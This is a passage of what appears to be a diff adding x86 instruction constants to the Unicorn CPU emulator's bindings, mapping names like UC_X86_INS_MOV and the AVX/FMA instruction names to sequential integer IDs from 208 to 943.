207 + UC_X86_INS_XORPS = 208 + UC_X86_INS_GETSEC = 209 + UC_X86_INS_HADDPD = 210 + UC_X86_INS_HADDPS = 211 + UC_X86_INS_HLT = 212 + UC_X86_INS_HSUBPD = 213 + UC_X86_INS_HSUBPS = 214 + UC_X86_INS_IDIV = 215 + UC_X86_INS_FILD = 216 + UC_X86_INS_IMUL = 217 + UC_X86_INS_IN = 218 + UC_X86_INS_INC = 219 + UC_X86_INS_INSB = 220 + UC_X86_INS_INSERTPS = 221 + UC_X86_INS_INSERTQ = 222 + UC_X86_INS_INSD = 223 + UC_X86_INS_INSW = 224 + UC_X86_INS_INT = 225 + UC_X86_INS_INT1 = 226 + UC_X86_INS_INT3 = 227 + UC_X86_INS_INTO = 228 + UC_X86_INS_INVD = 229 + UC_X86_INS_INVEPT = 230 + UC_X86_INS_INVLPG = 231 + UC_X86_INS_INVLPGA = 232 + UC_X86_INS_INVPCID = 233 + UC_X86_INS_INVVPID = 234 + UC_X86_INS_IRET = 235 + UC_X86_INS_IRETD = 236 + UC_X86_INS_IRETQ = 237 + UC_X86_INS_FISTTP = 238 + UC_X86_INS_FIST = 239 + UC_X86_INS_FISTP = 240 + UC_X86_INS_UCOMISD = 241 + UC_X86_INS_UCOMISS = 242 + UC_X86_INS_VCOMISD = 243 + UC_X86_INS_VCOMISS = 244 + UC_X86_INS_VCVTSD2SS = 245 + UC_X86_INS_VCVTSI2SD = 246 + UC_X86_INS_VCVTSI2SS = 247 + UC_X86_INS_VCVTSS2SD = 248 + UC_X86_INS_VCVTTSD2SI = 249 + UC_X86_INS_VCVTTSD2USI = 250 + UC_X86_INS_VCVTTSS2SI = 251 + UC_X86_INS_VCVTTSS2USI = 252 + UC_X86_INS_VCVTUSI2SD = 253 + UC_X86_INS_VCVTUSI2SS = 254 + UC_X86_INS_VUCOMISD = 255 + UC_X86_INS_VUCOMISS = 256 + UC_X86_INS_JAE = 257 + UC_X86_INS_JA = 258 + UC_X86_INS_JBE = 259 + UC_X86_INS_JB = 260 + UC_X86_INS_JCXZ = 261 + UC_X86_INS_JECXZ = 262 + UC_X86_INS_JE = 263 + UC_X86_INS_JGE = 264 + UC_X86_INS_JG = 265 + UC_X86_INS_JLE = 266 + UC_X86_INS_JL = 267 + UC_X86_INS_JMP = 268 + UC_X86_INS_JNE = 269 + UC_X86_INS_JNO = 270 + UC_X86_INS_JNP = 271 + UC_X86_INS_JNS = 272 + UC_X86_INS_JO = 273 + UC_X86_INS_JP = 274 + UC_X86_INS_JRCXZ = 275 + UC_X86_INS_JS = 276 + UC_X86_INS_KANDB = 277 + UC_X86_INS_KANDD = 278 + UC_X86_INS_KANDNB = 279 + UC_X86_INS_KANDND = 280 + UC_X86_INS_KANDNQ = 281 + UC_X86_INS_KANDNW = 282 + UC_X86_INS_KANDQ = 283 + UC_X86_INS_KANDW = 284 + UC_X86_INS_KMOVB = 285 + UC_X86_INS_KMOVD = 286 + UC_X86_INS_KMOVQ = 287 + UC_X86_INS_KMOVW = 288 + UC_X86_INS_KNOTB = 289 + UC_X86_INS_KNOTD = 290 + UC_X86_INS_KNOTQ = 291 + UC_X86_INS_KNOTW = 292 + UC_X86_INS_KORB = 293 + UC_X86_INS_KORD = 294 + UC_X86_INS_KORQ = 295 + UC_X86_INS_KORTESTB = 296 + UC_X86_INS_KORTESTD = 297 + UC_X86_INS_KORTESTQ = 298 + UC_X86_INS_KORTESTW = 299 + UC_X86_INS_KORW = 300 + UC_X86_INS_KSHIFTLB = 301 + UC_X86_INS_KSHIFTLD = 302 + UC_X86_INS_KSHIFTLQ = 303 + UC_X86_INS_KSHIFTLW = 304 + UC_X86_INS_KSHIFTRB = 305 + UC_X86_INS_KSHIFTRD = 306 + UC_X86_INS_KSHIFTRQ = 307 + UC_X86_INS_KSHIFTRW = 308 + UC_X86_INS_KUNPCKBW = 309 + UC_X86_INS_KXNORB = 310 + UC_X86_INS_KXNORD = 311 + UC_X86_INS_KXNORQ = 312 + UC_X86_INS_KXNORW = 313 + UC_X86_INS_KXORB = 314 + UC_X86_INS_KXORD = 315 + UC_X86_INS_KXORQ = 316 + UC_X86_INS_KXORW = 317 + UC_X86_INS_LAHF = 318 + UC_X86_INS_LAR = 319 + UC_X86_INS_LDDQU = 320 + UC_X86_INS_LDMXCSR = 321 + UC_X86_INS_LDS = 322 + UC_X86_INS_FLDZ = 323 + UC_X86_INS_FLD1 = 324 + UC_X86_INS_FLD = 325 + UC_X86_INS_LEA = 326 + UC_X86_INS_LEAVE = 327 + UC_X86_INS_LES = 328 + UC_X86_INS_LFENCE = 329 + UC_X86_INS_LFS = 330 + UC_X86_INS_LGDT = 331 + UC_X86_INS_LGS = 332 + UC_X86_INS_LIDT = 333 + UC_X86_INS_LLDT = 334 + UC_X86_INS_LMSW = 335 + UC_X86_INS_OR = 336 + UC_X86_INS_SUB = 337 + UC_X86_INS_XOR = 338 + UC_X86_INS_LODSB = 339 + UC_X86_INS_LODSD = 340 + UC_X86_INS_LODSQ = 341 + UC_X86_INS_LODSW = 342 + UC_X86_INS_LOOP = 343 + UC_X86_INS_LOOPE = 344 + UC_X86_INS_LOOPNE = 345 + UC_X86_INS_RETF = 346 + UC_X86_INS_RETFQ = 347 + UC_X86_INS_LSL = 348 + UC_X86_INS_LSS = 349 + UC_X86_INS_LTR = 350 + UC_X86_INS_XADD = 351 + UC_X86_INS_LZCNT = 352 + UC_X86_INS_MASKMOVDQU = 353 + UC_X86_INS_MAXPD = 354 + UC_X86_INS_MAXPS = 355 + UC_X86_INS_MAXSD = 356 + UC_X86_INS_MAXSS = 357 + UC_X86_INS_MFENCE = 358 + UC_X86_INS_MINPD = 359 + UC_X86_INS_MINPS = 360 + UC_X86_INS_MINSD = 361 + UC_X86_INS_MINSS = 362 + UC_X86_INS_CVTPD2PI = 363 + UC_X86_INS_CVTPI2PD = 364 + UC_X86_INS_CVTPI2PS = 365 + UC_X86_INS_CVTPS2PI = 366 + UC_X86_INS_CVTTPD2PI = 367 + UC_X86_INS_CVTTPS2PI = 368 + UC_X86_INS_EMMS = 369 + UC_X86_INS_MASKMOVQ = 370 + UC_X86_INS_MOVD = 371 + UC_X86_INS_MOVDQ2Q = 372 + UC_X86_INS_MOVNTQ = 373 + UC_X86_INS_MOVQ2DQ = 374 + UC_X86_INS_MOVQ = 375 + UC_X86_INS_PABSB = 376 + UC_X86_INS_PABSD = 377 + UC_X86_INS_PABSW = 378 + UC_X86_INS_PACKSSDW = 379 + UC_X86_INS_PACKSSWB = 380 + UC_X86_INS_PACKUSWB = 381 + UC_X86_INS_PADDB = 382 + UC_X86_INS_PADDD = 383 + UC_X86_INS_PADDQ = 384 + UC_X86_INS_PADDSB = 385 + UC_X86_INS_PADDSW = 386 + UC_X86_INS_PADDUSB = 387 + UC_X86_INS_PADDUSW = 388 + UC_X86_INS_PADDW = 389 + UC_X86_INS_PALIGNR = 390 + UC_X86_INS_PANDN = 391 + UC_X86_INS_PAND = 392 + UC_X86_INS_PAVGB = 393 + UC_X86_INS_PAVGW = 394 + UC_X86_INS_PCMPEQB = 395 + UC_X86_INS_PCMPEQD = 396 + UC_X86_INS_PCMPEQW = 397 + UC_X86_INS_PCMPGTB = 398 + UC_X86_INS_PCMPGTD = 399 + UC_X86_INS_PCMPGTW = 400 + UC_X86_INS_PEXTRW = 401 + UC_X86_INS_PHADDSW = 402 + UC_X86_INS_PHADDW = 403 + UC_X86_INS_PHADDD = 404 + UC_X86_INS_PHSUBD = 405 + UC_X86_INS_PHSUBSW = 406 + UC_X86_INS_PHSUBW = 407 + UC_X86_INS_PINSRW = 408 + UC_X86_INS_PMADDUBSW = 409 + UC_X86_INS_PMADDWD = 410 + UC_X86_INS_PMAXSW = 411 + UC_X86_INS_PMAXUB = 412 + UC_X86_INS_PMINSW = 413 + UC_X86_INS_PMINUB = 414 + UC_X86_INS_PMOVMSKB = 415 + UC_X86_INS_PMULHRSW = 416 + UC_X86_INS_PMULHUW = 417 + UC_X86_INS_PMULHW = 418 + UC_X86_INS_PMULLW = 419 + UC_X86_INS_PMULUDQ = 420 + UC_X86_INS_POR = 421 + UC_X86_INS_PSADBW = 422 + UC_X86_INS_PSHUFB = 423 + UC_X86_INS_PSHUFW = 424 + UC_X86_INS_PSIGNB = 425 + UC_X86_INS_PSIGND = 426 + UC_X86_INS_PSIGNW = 427 + UC_X86_INS_PSLLD = 428 + UC_X86_INS_PSLLQ = 429 + UC_X86_INS_PSLLW = 430 + UC_X86_INS_PSRAD = 431 + UC_X86_INS_PSRAW = 432 + UC_X86_INS_PSRLD = 433 + UC_X86_INS_PSRLQ = 434 + UC_X86_INS_PSRLW = 435 + UC_X86_INS_PSUBB = 436 + UC_X86_INS_PSUBD = 437 + UC_X86_INS_PSUBQ = 438 + UC_X86_INS_PSUBSB = 439 + UC_X86_INS_PSUBSW = 440 + UC_X86_INS_PSUBUSB = 441 + UC_X86_INS_PSUBUSW = 442 + UC_X86_INS_PSUBW = 443 + UC_X86_INS_PUNPCKHBW = 444 + UC_X86_INS_PUNPCKHDQ = 445 + UC_X86_INS_PUNPCKHWD = 446 + UC_X86_INS_PUNPCKLBW = 447 + UC_X86_INS_PUNPCKLDQ = 448 + UC_X86_INS_PUNPCKLWD = 449 + UC_X86_INS_PXOR = 450 + UC_X86_INS_MONITOR = 451 + UC_X86_INS_MONTMUL = 452 + UC_X86_INS_MOV = 453 + UC_X86_INS_MOVABS = 454 + UC_X86_INS_MOVBE = 455 + UC_X86_INS_MOVDDUP = 456 + UC_X86_INS_MOVDQA = 457 + UC_X86_INS_MOVDQU = 458 + UC_X86_INS_MOVHLPS = 459 + UC_X86_INS_MOVHPD = 460 + UC_X86_INS_MOVHPS = 461 + UC_X86_INS_MOVLHPS = 462 + UC_X86_INS_MOVLPD = 463 + UC_X86_INS_MOVLPS = 464 + UC_X86_INS_MOVMSKPD = 465 + UC_X86_INS_MOVMSKPS = 466 + UC_X86_INS_MOVNTDQA = 467 + UC_X86_INS_MOVNTDQ = 468 + UC_X86_INS_MOVNTI = 469 + UC_X86_INS_MOVNTPD = 470 + UC_X86_INS_MOVNTPS = 471 + UC_X86_INS_MOVNTSD = 472 + UC_X86_INS_MOVNTSS = 473 + UC_X86_INS_MOVSB = 474 + UC_X86_INS_MOVSD = 475 + UC_X86_INS_MOVSHDUP = 476 + UC_X86_INS_MOVSLDUP = 477 + UC_X86_INS_MOVSQ = 478 + UC_X86_INS_MOVSS = 479 + UC_X86_INS_MOVSW = 480 + UC_X86_INS_MOVSX = 481 + UC_X86_INS_MOVSXD = 482 + UC_X86_INS_MOVUPD = 483 + UC_X86_INS_MOVUPS = 484 + UC_X86_INS_MOVZX = 485 + UC_X86_INS_MPSADBW = 486 + UC_X86_INS_MUL = 487 + UC_X86_INS_MULPD = 488 + UC_X86_INS_MULPS = 489 + UC_X86_INS_MULSD = 490 + UC_X86_INS_MULSS = 491 + UC_X86_INS_MULX = 492 + UC_X86_INS_FMUL = 493 + UC_X86_INS_FIMUL = 494 + UC_X86_INS_FMULP = 495 + UC_X86_INS_MWAIT = 496 + UC_X86_INS_NEG = 497 + UC_X86_INS_NOP = 498 + UC_X86_INS_NOT = 499 + UC_X86_INS_OUT = 500 + UC_X86_INS_OUTSB = 501 + UC_X86_INS_OUTSD = 502 + UC_X86_INS_OUTSW = 503 + UC_X86_INS_PACKUSDW = 504 + UC_X86_INS_PAUSE = 505 + UC_X86_INS_PAVGUSB = 506 + UC_X86_INS_PBLENDVB = 507 + UC_X86_INS_PBLENDW = 508 + UC_X86_INS_PCLMULQDQ = 509 + UC_X86_INS_PCMPEQQ = 510 + UC_X86_INS_PCMPESTRI = 511 + UC_X86_INS_PCMPESTRM = 512 + UC_X86_INS_PCMPGTQ = 513 + UC_X86_INS_PCMPISTRI = 514 + UC_X86_INS_PCMPISTRM = 515 + UC_X86_INS_PCOMMIT = 516 + UC_X86_INS_PDEP = 517 + UC_X86_INS_PEXT = 518 + UC_X86_INS_PEXTRB = 519 + UC_X86_INS_PEXTRD = 520 + UC_X86_INS_PEXTRQ = 521 + UC_X86_INS_PF2ID = 522 + UC_X86_INS_PF2IW = 523 + UC_X86_INS_PFACC = 524 + UC_X86_INS_PFADD = 525 + UC_X86_INS_PFCMPEQ = 526 + UC_X86_INS_PFCMPGE = 527 + UC_X86_INS_PFCMPGT = 528 + UC_X86_INS_PFMAX = 529 + UC_X86_INS_PFMIN = 530 + UC_X86_INS_PFMUL = 531 + UC_X86_INS_PFNACC = 532 + UC_X86_INS_PFPNACC = 533 + UC_X86_INS_PFRCPIT1 = 534 + UC_X86_INS_PFRCPIT2 = 535 + UC_X86_INS_PFRCP = 536 + UC_X86_INS_PFRSQIT1 = 537 + UC_X86_INS_PFRSQRT = 538 + UC_X86_INS_PFSUBR = 539 + UC_X86_INS_PFSUB = 540 + UC_X86_INS_PHMINPOSUW = 541 + UC_X86_INS_PI2FD = 542 + UC_X86_INS_PI2FW = 543 + UC_X86_INS_PINSRB = 544 + UC_X86_INS_PINSRD = 545 + UC_X86_INS_PINSRQ = 546 + UC_X86_INS_PMAXSB = 547 + UC_X86_INS_PMAXSD = 548 + UC_X86_INS_PMAXUD = 549 + UC_X86_INS_PMAXUW = 550 + UC_X86_INS_PMINSB = 551 + UC_X86_INS_PMINSD = 552 + UC_X86_INS_PMINUD = 553 + UC_X86_INS_PMINUW = 554 + UC_X86_INS_PMOVSXBD = 555 + UC_X86_INS_PMOVSXBQ = 556 + UC_X86_INS_PMOVSXBW = 557 + UC_X86_INS_PMOVSXDQ = 558 + UC_X86_INS_PMOVSXWD = 559 + UC_X86_INS_PMOVSXWQ = 560 + UC_X86_INS_PMOVZXBD = 561 + UC_X86_INS_PMOVZXBQ = 562 + UC_X86_INS_PMOVZXBW = 563 + UC_X86_INS_PMOVZXDQ = 564 + UC_X86_INS_PMOVZXWD = 565 + UC_X86_INS_PMOVZXWQ = 566 + UC_X86_INS_PMULDQ = 567 + UC_X86_INS_PMULHRW = 568 + UC_X86_INS_PMULLD = 569 + UC_X86_INS_POP = 570 + UC_X86_INS_POPAW = 571 + UC_X86_INS_POPAL = 572 + UC_X86_INS_POPCNT = 573 + UC_X86_INS_POPF = 574 + UC_X86_INS_POPFD = 575 + UC_X86_INS_POPFQ = 576 + UC_X86_INS_PREFETCH = 577 + UC_X86_INS_PREFETCHNTA = 578 + UC_X86_INS_PREFETCHT0 = 579 + UC_X86_INS_PREFETCHT1 = 580 + UC_X86_INS_PREFETCHT2 = 581 + UC_X86_INS_PREFETCHW = 582 + UC_X86_INS_PSHUFD = 583 + UC_X86_INS_PSHUFHW = 584 + UC_X86_INS_PSHUFLW = 585 + UC_X86_INS_PSLLDQ = 586 + UC_X86_INS_PSRLDQ = 587 + UC_X86_INS_PSWAPD = 588 + UC_X86_INS_PTEST = 589 + UC_X86_INS_PUNPCKHQDQ = 590 + UC_X86_INS_PUNPCKLQDQ = 591 + UC_X86_INS_PUSH = 592 + UC_X86_INS_PUSHAW = 593 + UC_X86_INS_PUSHAL = 594 + UC_X86_INS_PUSHF = 595 + UC_X86_INS_PUSHFD = 596 + UC_X86_INS_PUSHFQ = 597 + UC_X86_INS_RCL = 598 + UC_X86_INS_RCPPS = 599 + UC_X86_INS_RCPSS = 600 + UC_X86_INS_RCR = 601 + UC_X86_INS_RDFSBASE = 602 + UC_X86_INS_RDGSBASE = 603 + UC_X86_INS_RDMSR = 604 + UC_X86_INS_RDPMC = 605 + UC_X86_INS_RDRAND = 606 + UC_X86_INS_RDSEED = 607 + UC_X86_INS_RDTSC = 608 + UC_X86_INS_RDTSCP = 609 + UC_X86_INS_ROL = 610 + UC_X86_INS_ROR = 611 + UC_X86_INS_RORX = 612 + UC_X86_INS_ROUNDPD = 613 + UC_X86_INS_ROUNDPS = 614 + UC_X86_INS_ROUNDSD = 615 + UC_X86_INS_ROUNDSS = 616 + UC_X86_INS_RSM = 617 + UC_X86_INS_RSQRTPS = 618 + UC_X86_INS_RSQRTSS = 619 + UC_X86_INS_SAHF = 620 + UC_X86_INS_SAL = 621 + UC_X86_INS_SALC = 622 + UC_X86_INS_SAR = 623 + UC_X86_INS_SARX = 624 + UC_X86_INS_SBB = 625 + UC_X86_INS_SCASB = 626 + UC_X86_INS_SCASD = 627 + UC_X86_INS_SCASQ = 628 + UC_X86_INS_SCASW = 629 + UC_X86_INS_SETAE = 630 + UC_X86_INS_SETA = 631 + UC_X86_INS_SETBE = 632 + UC_X86_INS_SETB = 633 + UC_X86_INS_SETE = 634 + UC_X86_INS_SETGE = 635 + UC_X86_INS_SETG = 636 + UC_X86_INS_SETLE = 637 + UC_X86_INS_SETL = 638 + UC_X86_INS_SETNE = 639 + UC_X86_INS_SETNO = 640 + UC_X86_INS_SETNP = 641 + UC_X86_INS_SETNS = 642 + UC_X86_INS_SETO = 643 + UC_X86_INS_SETP = 644 + UC_X86_INS_SETS = 645 + UC_X86_INS_SFENCE = 646 + UC_X86_INS_SGDT = 647 + UC_X86_INS_SHA1MSG1 = 648 + UC_X86_INS_SHA1MSG2 = 649 + UC_X86_INS_SHA1NEXTE = 650 + UC_X86_INS_SHA1RNDS4 = 651 + UC_X86_INS_SHA256MSG1 = 652 + UC_X86_INS_SHA256MSG2 = 653 + UC_X86_INS_SHA256RNDS2 = 654 + UC_X86_INS_SHL = 655 + UC_X86_INS_SHLD = 656 + UC_X86_INS_SHLX = 657 + UC_X86_INS_SHR = 658 + UC_X86_INS_SHRD = 659 + UC_X86_INS_SHRX = 660 + UC_X86_INS_SHUFPD = 661 + UC_X86_INS_SHUFPS = 662 + UC_X86_INS_SIDT = 663 + UC_X86_INS_FSIN = 664 + UC_X86_INS_SKINIT = 665 + UC_X86_INS_SLDT = 666 + UC_X86_INS_SMSW = 667 + UC_X86_INS_SQRTPD = 668 + UC_X86_INS_SQRTPS = 669 + UC_X86_INS_SQRTSD = 670 + UC_X86_INS_SQRTSS = 671 + UC_X86_INS_FSQRT = 672 + UC_X86_INS_STAC = 673 + UC_X86_INS_STC = 674 + UC_X86_INS_STD = 675 + UC_X86_INS_STGI = 676 + UC_X86_INS_STI = 677 + UC_X86_INS_STMXCSR = 678 + UC_X86_INS_STOSB = 679 + UC_X86_INS_STOSD = 680 + UC_X86_INS_STOSQ = 681 + UC_X86_INS_STOSW = 682 + UC_X86_INS_STR = 683 + UC_X86_INS_FST = 684 + UC_X86_INS_FSTP = 685 + UC_X86_INS_FSTPNCE = 686 + UC_X86_INS_FXCH = 687 + UC_X86_INS_SUBPD = 688 + UC_X86_INS_SUBPS = 689 + UC_X86_INS_FSUBR = 690 + UC_X86_INS_FISUBR = 691 + UC_X86_INS_FSUBRP = 692 + UC_X86_INS_SUBSD = 693 + UC_X86_INS_SUBSS = 694 + UC_X86_INS_FSUB = 695 + UC_X86_INS_FISUB = 696 + UC_X86_INS_FSUBP = 697 + UC_X86_INS_SWAPGS = 698 + UC_X86_INS_SYSCALL = 699 + UC_X86_INS_SYSENTER = 700 + UC_X86_INS_SYSEXIT = 701 + UC_X86_INS_SYSRET = 702 + UC_X86_INS_T1MSKC = 703 + UC_X86_INS_TEST = 704 + UC_X86_INS_UD2 = 705 + UC_X86_INS_FTST = 706 + UC_X86_INS_TZCNT = 707 + UC_X86_INS_TZMSK = 708 + UC_X86_INS_FUCOMPI = 709 + UC_X86_INS_FUCOMI = 710 + UC_X86_INS_FUCOMPP = 711 + UC_X86_INS_FUCOMP = 712 + UC_X86_INS_FUCOM = 713 + UC_X86_INS_UD2B = 714 + UC_X86_INS_UNPCKHPD = 715 + UC_X86_INS_UNPCKHPS = 716 + UC_X86_INS_UNPCKLPD = 717 + UC_X86_INS_UNPCKLPS = 718 + UC_X86_INS_VADDPD = 719 + UC_X86_INS_VADDPS = 720 + UC_X86_INS_VADDSD = 721 + UC_X86_INS_VADDSS = 722 + UC_X86_INS_VADDSUBPD = 723 + UC_X86_INS_VADDSUBPS = 724 + UC_X86_INS_VAESDECLAST = 725 + UC_X86_INS_VAESDEC = 726 + UC_X86_INS_VAESENCLAST = 727 + UC_X86_INS_VAESENC = 728 + UC_X86_INS_VAESIMC = 729 + UC_X86_INS_VAESKEYGENASSIST = 730 + UC_X86_INS_VALIGND = 731 + UC_X86_INS_VALIGNQ = 732 + UC_X86_INS_VANDNPD = 733 + UC_X86_INS_VANDNPS = 734 + UC_X86_INS_VANDPD = 735 + UC_X86_INS_VANDPS = 736 + UC_X86_INS_VBLENDMPD = 737 + UC_X86_INS_VBLENDMPS = 738 + UC_X86_INS_VBLENDPD = 739 + UC_X86_INS_VBLENDPS = 740 + UC_X86_INS_VBLENDVPD = 741 + UC_X86_INS_VBLENDVPS = 742 + UC_X86_INS_VBROADCASTF128 = 743 + UC_X86_INS_VBROADCASTI32X4 = 744 + UC_X86_INS_VBROADCASTI64X4 = 745 + UC_X86_INS_VBROADCASTSD = 746 + UC_X86_INS_VBROADCASTSS = 747 + UC_X86_INS_VCMPPD = 748 + UC_X86_INS_VCMPPS = 749 + UC_X86_INS_VCMPSD = 750 + UC_X86_INS_VCMPSS = 751 + UC_X86_INS_VCOMPRESSPD = 752 + UC_X86_INS_VCOMPRESSPS = 753 + UC_X86_INS_VCVTDQ2PD = 754 + UC_X86_INS_VCVTDQ2PS = 755 + UC_X86_INS_VCVTPD2DQX = 756 + UC_X86_INS_VCVTPD2DQ = 757 + UC_X86_INS_VCVTPD2PSX = 758 + UC_X86_INS_VCVTPD2PS = 759 + UC_X86_INS_VCVTPD2UDQ = 760 + UC_X86_INS_VCVTPH2PS = 761 + UC_X86_INS_VCVTPS2DQ = 762 + UC_X86_INS_VCVTPS2PD = 763 + UC_X86_INS_VCVTPS2PH = 764 + UC_X86_INS_VCVTPS2UDQ = 765 + UC_X86_INS_VCVTSD2SI = 766 + UC_X86_INS_VCVTSD2USI = 767 + UC_X86_INS_VCVTSS2SI = 768 + UC_X86_INS_VCVTSS2USI = 769 + UC_X86_INS_VCVTTPD2DQX = 770 + UC_X86_INS_VCVTTPD2DQ = 771 + UC_X86_INS_VCVTTPD2UDQ = 772 + UC_X86_INS_VCVTTPS2DQ = 773 + UC_X86_INS_VCVTTPS2UDQ = 774 + UC_X86_INS_VCVTUDQ2PD = 775 + UC_X86_INS_VCVTUDQ2PS = 776 + UC_X86_INS_VDIVPD = 777 + UC_X86_INS_VDIVPS = 778 + UC_X86_INS_VDIVSD = 779 + UC_X86_INS_VDIVSS = 780 + UC_X86_INS_VDPPD = 781 + UC_X86_INS_VDPPS = 782 + UC_X86_INS_VERR = 783 + UC_X86_INS_VERW = 784 + UC_X86_INS_VEXP2PD = 785 + UC_X86_INS_VEXP2PS = 786 + UC_X86_INS_VEXPANDPD = 787 + UC_X86_INS_VEXPANDPS = 788 + UC_X86_INS_VEXTRACTF128 = 789 + UC_X86_INS_VEXTRACTF32X4 = 790 + UC_X86_INS_VEXTRACTF64X4 = 791 + UC_X86_INS_VEXTRACTI128 = 792 + UC_X86_INS_VEXTRACTI32X4 = 793 + UC_X86_INS_VEXTRACTI64X4 = 794 + UC_X86_INS_VEXTRACTPS = 795 + UC_X86_INS_VFMADD132PD = 796 + UC_X86_INS_VFMADD132PS = 797 + UC_X86_INS_VFMADDPD = 798 + UC_X86_INS_VFMADD213PD = 799 + UC_X86_INS_VFMADD231PD = 800 + UC_X86_INS_VFMADDPS = 801 + UC_X86_INS_VFMADD213PS = 802 + UC_X86_INS_VFMADD231PS = 803 + UC_X86_INS_VFMADDSD = 804 + UC_X86_INS_VFMADD213SD = 805 + UC_X86_INS_VFMADD132SD = 806 + UC_X86_INS_VFMADD231SD = 807 + UC_X86_INS_VFMADDSS = 808 + UC_X86_INS_VFMADD213SS = 809 + UC_X86_INS_VFMADD132SS = 810 + UC_X86_INS_VFMADD231SS = 811 + UC_X86_INS_VFMADDSUB132PD = 812 + UC_X86_INS_VFMADDSUB132PS = 813 + UC_X86_INS_VFMADDSUBPD = 814 + UC_X86_INS_VFMADDSUB213PD = 815 + UC_X86_INS_VFMADDSUB231PD = 816 + UC_X86_INS_VFMADDSUBPS = 817 + UC_X86_INS_VFMADDSUB213PS = 818 + UC_X86_INS_VFMADDSUB231PS = 819 + UC_X86_INS_VFMSUB132PD = 820 + UC_X86_INS_VFMSUB132PS = 821 + UC_X86_INS_VFMSUBADD132PD = 822 + UC_X86_INS_VFMSUBADD132PS = 823 + UC_X86_INS_VFMSUBADDPD = 824 + UC_X86_INS_VFMSUBADD213PD = 825 + UC_X86_INS_VFMSUBADD231PD = 826 + UC_X86_INS_VFMSUBADDPS = 827 + UC_X86_INS_VFMSUBADD213PS = 828 + UC_X86_INS_VFMSUBADD231PS = 829 + UC_X86_INS_VFMSUBPD = 830 + UC_X86_INS_VFMSUB213PD = 831 + UC_X86_INS_VFMSUB231PD = 832 + UC_X86_INS_VFMSUBPS = 833 + UC_X86_INS_VFMSUB213PS = 834 + UC_X86_INS_VFMSUB231PS = 835 + UC_X86_INS_VFMSUBSD = 836 + UC_X86_INS_VFMSUB213SD = 837 + UC_X86_INS_VFMSUB132SD = 838 + UC_X86_INS_VFMSUB231SD = 839 + UC_X86_INS_VFMSUBSS = 840 + UC_X86_INS_VFMSUB213SS = 841 + UC_X86_INS_VFMSUB132SS = 842 + UC_X86_INS_VFMSUB231SS = 843 + UC_X86_INS_VFNMADD132PD = 844 + UC_X86_INS_VFNMADD132PS = 845 + UC_X86_INS_VFNMADDPD = 846 + UC_X86_INS_VFNMADD213PD = 847 + UC_X86_INS_VFNMADD231PD = 848 + UC_X86_INS_VFNMADDPS = 849 + UC_X86_INS_VFNMADD213PS = 850 + UC_X86_INS_VFNMADD231PS = 851 + UC_X86_INS_VFNMADDSD = 852 + UC_X86_INS_VFNMADD213SD = 853 + UC_X86_INS_VFNMADD132SD = 854 + UC_X86_INS_VFNMADD231SD = 855 + UC_X86_INS_VFNMADDSS = 856 + UC_X86_INS_VFNMADD213SS = 857 + UC_X86_INS_VFNMADD132SS = 858 + UC_X86_INS_VFNMADD231SS = 859 + UC_X86_INS_VFNMSUB132PD = 860 + UC_X86_INS_VFNMSUB132PS = 861 + UC_X86_INS_VFNMSUBPD = 862 + UC_X86_INS_VFNMSUB213PD = 863 + UC_X86_INS_VFNMSUB231PD = 864 + UC_X86_INS_VFNMSUBPS = 865 + UC_X86_INS_VFNMSUB213PS = 866 + UC_X86_INS_VFNMSUB231PS = 867 + UC_X86_INS_VFNMSUBSD = 868 + UC_X86_INS_VFNMSUB213SD = 869 + UC_X86_INS_VFNMSUB132SD = 870 + UC_X86_INS_VFNMSUB231SD = 871 + UC_X86_INS_VFNMSUBSS = 872 + UC_X86_INS_VFNMSUB213SS = 873 + UC_X86_INS_VFNMSUB132SS = 874 + UC_X86_INS_VFNMSUB231SS = 875 + UC_X86_INS_VFRCZPD = 876 + UC_X86_INS_VFRCZPS = 877 + UC_X86_INS_VFRCZSD = 878 + UC_X86_INS_VFRCZSS = 879 + UC_X86_INS_VORPD = 880 + UC_X86_INS_VORPS = 881 + UC_X86_INS_VXORPD = 882 + UC_X86_INS_VXORPS = 883 + UC_X86_INS_VGATHERDPD = 884 + UC_X86_INS_VGATHERDPS = 885 + UC_X86_INS_VGATHERPF0DPD = 886 + UC_X86_INS_VGATHERPF0DPS = 887 + UC_X86_INS_VGATHERPF0QPD = 888 + UC_X86_INS_VGATHERPF0QPS = 889 + UC_X86_INS_VGATHERPF1DPD = 890 + UC_X86_INS_VGATHERPF1DPS = 891 + UC_X86_INS_VGATHERPF1QPD = 892 + UC_X86_INS_VGATHERPF1QPS = 893 + UC_X86_INS_VGATHERQPD = 894 + UC_X86_INS_VGATHERQPS = 895 + UC_X86_INS_VHADDPD = 896 + UC_X86_INS_VHADDPS = 897 + UC_X86_INS_VHSUBPD = 898 + UC_X86_INS_VHSUBPS = 899 + UC_X86_INS_VINSERTF128 = 900 + UC_X86_INS_VINSERTF32X4 = 901 + UC_X86_INS_VINSERTF32X8 = 902 + UC_X86_INS_VINSERTF64X2 = 903 + UC_X86_INS_VINSERTF64X4 = 904 + UC_X86_INS_VINSERTI128 = 905 + UC_X86_INS_VINSERTI32X4 = 906 + UC_X86_INS_VINSERTI32X8 = 907 + UC_X86_INS_VINSERTI64X2 = 908 + UC_X86_INS_VINSERTI64X4 = 909 + UC_X86_INS_VINSERTPS = 910 + UC_X86_INS_VLDDQU = 911 + UC_X86_INS_VLDMXCSR = 912 + UC_X86_INS_VMASKMOVDQU = 913 + UC_X86_INS_VMASKMOVPD = 914 + UC_X86_INS_VMASKMOVPS = 915 + UC_X86_INS_VMAXPD = 916 + UC_X86_INS_VMAXPS = 917 + UC_X86_INS_VMAXSD = 918 + UC_X86_INS_VMAXSS = 919 + UC_X86_INS_VMCALL = 920 + UC_X86_INS_VMCLEAR = 921 + UC_X86_INS_VMFUNC = 922 + UC_X86_INS_VMINPD = 923 + UC_X86_INS_VMINPS = 924 + UC_X86_INS_VMINSD = 925 + UC_X86_INS_VMINSS = 926 + UC_X86_INS_VMLAUNCH = 927 + UC_X86_INS_VMLOAD = 928 + UC_X86_INS_VMMCALL = 929 + UC_X86_INS_VMOVQ = 930 + UC_X86_INS_VMOVDDUP = 931 + UC_X86_INS_VMOVD = 932 + UC_X86_INS_VMOVDQA32 = 933 + UC_X86_INS_VMOVDQA64 = 934 + UC_X86_INS_VMOVDQA = 935 + UC_X86_INS_VMOVDQU16 = 936 + UC_X86_INS_VMOVDQU32 = 937 + UC_X86_INS_VMOVDQU64 = 938 + UC_X86_INS_VMOVDQU8 = 939 + UC_X86_INS_VMOVDQU = 940 + UC_X86_INS_VMOVHLPS = 941 + UC_X86_INS_VMOVHPD = 942 + UC_X86_INS_VMOVHPS = 943 + UC_X86_INS_VMOVLHPS = 